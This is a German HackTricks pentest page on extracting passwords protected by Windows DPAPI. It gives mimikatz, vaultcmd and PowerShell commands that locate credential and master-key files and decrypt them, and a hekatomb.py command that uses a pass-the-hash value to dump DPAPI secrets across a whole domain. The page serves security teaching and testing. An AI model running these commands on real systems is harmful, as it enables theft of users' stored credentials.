9.9 KiB
DPAPI - Extrahieren von Passwörtern
Lernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!
- Arbeiten Sie in einem Cybersicherheitsunternehmen? Möchten Sie Ihr Unternehmen in HackTricks bewerben? Oder möchten Sie Zugriff auf die neueste Version von PEASS oder HackTricks im PDF-Format haben? Überprüfen Sie die ABONNEMENTPLÄNE!
- Entdecken Sie The PEASS Family, unsere Sammlung exklusiver NFTs
- Holen Sie sich das offizielle PEASS & HackTricks-Merchandise
- Treten Sie der 💬 Discord-Gruppe oder der Telegramm-Gruppe bei oder folgen Sie mir auf Twitter 🐦@carlospolopm.
- Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an das hacktricks repo und das hacktricks-cloud repo senden.
RootedCON ist die relevanteste Cybersicherheitsveranstaltung in Spanien und eine der wichtigsten in Europa. Mit dem Ziel, technisches Wissen zu fördern, ist dieser Kongress ein brodelnder Treffpunkt für Technologie- und Cybersicherheitsprofis in jeder Disziplin.
{% embed url="https://www.rootedcon.com/" %}
Was ist DPAPI
Die Data Protection API (DPAPI) wird hauptsächlich im Windows-Betriebssystem für die symmetrische Verschlüsselung asymmetrischer privater Schlüssel verwendet und nutzt entweder Benutzer- oder Systemgeheimnisse als wesentliche Entropiequelle. Dieser Ansatz vereinfacht die Verschlüsselung für Entwickler, indem er ihnen ermöglicht, Daten mit einem aus den Anmeldegeheimnissen des Benutzers abgeleiteten Schlüssel zu verschlüsseln oder für die Systemverschlüsselung die Domänenauthentifizierungsgeheimnisse des Systems zu verwenden, wodurch die Notwendigkeit entfällt, den Schutz des Verschlüsselungsschlüssels selbst zu verwalten.
Von DPAPI geschützte Daten
Zu den von DPAPI geschützten persönlichen Daten gehören:
- Passwörter und Autovervollständigungsdaten von Internet Explorer und Google Chrome
- E-Mail- und interne FTP-Kontopasswörter für Anwendungen wie Outlook und Windows Mail
- Passwörter für freigegebene Ordner, Ressourcen, drahtlose Netzwerke und Windows Vault, einschließlich Verschlüsselungsschlüssel
- Passwörter für Remote-Desktop-Verbindungen, .NET Passport und private Schlüssel für verschiedene Verschlüsselungs- und Authentifizierungszwecke
- Netzwerkpässe, die vom Credential Manager verwaltet werden, und persönliche Daten in Anwendungen, die CryptProtectData verwenden, wie Skype, MSN Messenger und mehr
Liste der Tresore
# From cmd
vaultcmd /listcreds:"Windows Credentials" /all
# From mimikatz
mimikatz vault::list
Anmeldeinformationen-Dateien
Die geschützten Anmeldeinformationen-Dateien können sich an folgenden Orten befinden:
dir /a:h C:\Users\username\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Erhalten Sie Informationen zu Anmeldedaten mit Hilfe von Mimikatz dpapi::cred
. In der Antwort finden Sie interessante Informationen wie die verschlüsselten Daten und die guidMasterKey.
mimikatz dpapi::cred /in:C:\Users\<username>\AppData\Local\Microsoft\Credentials\28350839752B38B238E5D56FDD7891A7
[...]
guidMasterKey : {3e90dd9e-f901-40a1-b691-84d7f647b8fe}
[...]
pbData : b8f619[...snip...]b493fe
[..]
Sie können das mimikatz-Modul dpapi::cred
mit dem entsprechenden /masterkey
verwenden, um zu entschlüsseln:
dpapi::cred /in:C:\path\to\encrypted\file /masterkey:<MASTERKEY>
Master-Schlüssel
Die für die Verschlüsselung der RSA-Schlüssel des Benutzers verwendeten DPAPI-Schlüssel werden im Verzeichnis %APPDATA%\Microsoft\Protect\{SID}
gespeichert, wobei {SID} die Sicherheitskennung dieses Benutzers ist. Der DPAPI-Schlüssel wird in derselben Datei wie der Master-Schlüssel gespeichert, der die privaten Schlüssel des Benutzers schützt. Es handelt sich normalerweise um 64 Bytes zufälliger Daten. (Beachten Sie, dass dieses Verzeichnis geschützt ist und Sie es nicht mit dir
von der Eingabeaufforderung aus auflisten können, aber Sie können es von der PowerShell aus auflisten).
Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect
Get-ChildItem -Hidden C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem -Hidden C:\Users\USER\AppData\Local\Microsoft\Protect\
Get-ChildItem -Hidden C:\Users\USER\AppData\Roaming\Microsoft\Protect\{SID}
Get-ChildItem -Hidden C:\Users\USER\AppData\Local\Microsoft\Protect\{SID}
So sieht eine Gruppe von Master Keys eines Benutzers aus:
Normalerweise ist jeder Master Key ein verschlüsselter symmetrischer Schlüssel, der andere Inhalte entschlüsseln kann. Daher ist es interessant, den verschlüsselten Master Key zu extrahieren, um später die mit ihm verschlüsselten anderen Inhalte zu entschlüsseln.
Extrahieren des Master Keys und Entschlüsseln
Überprüfen Sie den Beitrag https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++ für ein Beispiel, wie der Master Key extrahiert und entschlüsselt wird.
SharpDPAPI
SharpDPAPI ist eine C#-Portierung einiger DPAPI-Funktionen aus @gentilkiwi's Mimikatz Projekt.
HEKATOMB
HEKATOMB ist ein Tool, das die Extraktion aller Benutzer und Computer aus dem LDAP-Verzeichnis und die Extraktion des Sicherungsschlüssels des Domänencontrollers über RPC automatisiert. Das Skript löst dann alle IP-Adressen der Computer auf und führt auf allen Computern einen smbclient aus, um alle DPAPI-Blobs aller Benutzer abzurufen und alles mit dem Sicherungsschlüssel der Domäne zu entschlüsseln.
python3 hekatomb.py -hashes :ed0052e5a66b1c8e942cc9481a50d56 DOMAIN.local/administrator@10.0.0.1 -debug -dnstcp
Mit der aus dem LDAP extrahierten Liste der Computer können Sie jedes Teilnetzwerk finden, auch wenn Sie sie nicht kannten!
"Weil Domänenadministratorrechte nicht ausreichen. Hacke sie alle."
DonPAPI
DonPAPI kann automatisch mit DPAPI geschützte Secrets auslesen.
Referenzen
- https://www.passcape.com/index.php?section=docsys&cmd=details&id=28#13
- https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++
RootedCON ist die relevanteste Cybersicherheitsveranstaltung in Spanien und eine der wichtigsten in Europa. Mit der Mission, technisches Wissen zu fördern, ist dieser Kongress ein brodelnder Treffpunkt für Technologie- und Cybersicherheitsprofis in jeder Disziplin.
{% embed url="https://www.rootedcon.com/" %}
Lernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!
- Arbeiten Sie in einem Cybersicherheitsunternehmen? Möchten Sie Ihr Unternehmen in HackTricks bewerben? Oder möchten Sie Zugriff auf die neueste Version des PEASS oder HackTricks als PDF-Download haben? Überprüfen Sie die ABONNEMENTPLÄNE!
- Entdecken Sie The PEASS Family, unsere Sammlung exklusiver NFTs
- Holen Sie sich das offizielle PEASS & HackTricks-Merchandise
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie mir auf Twitter 🐦@carlospolopm.
- Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an das hacktricks-Repo und das hacktricks-cloud-Repo senden.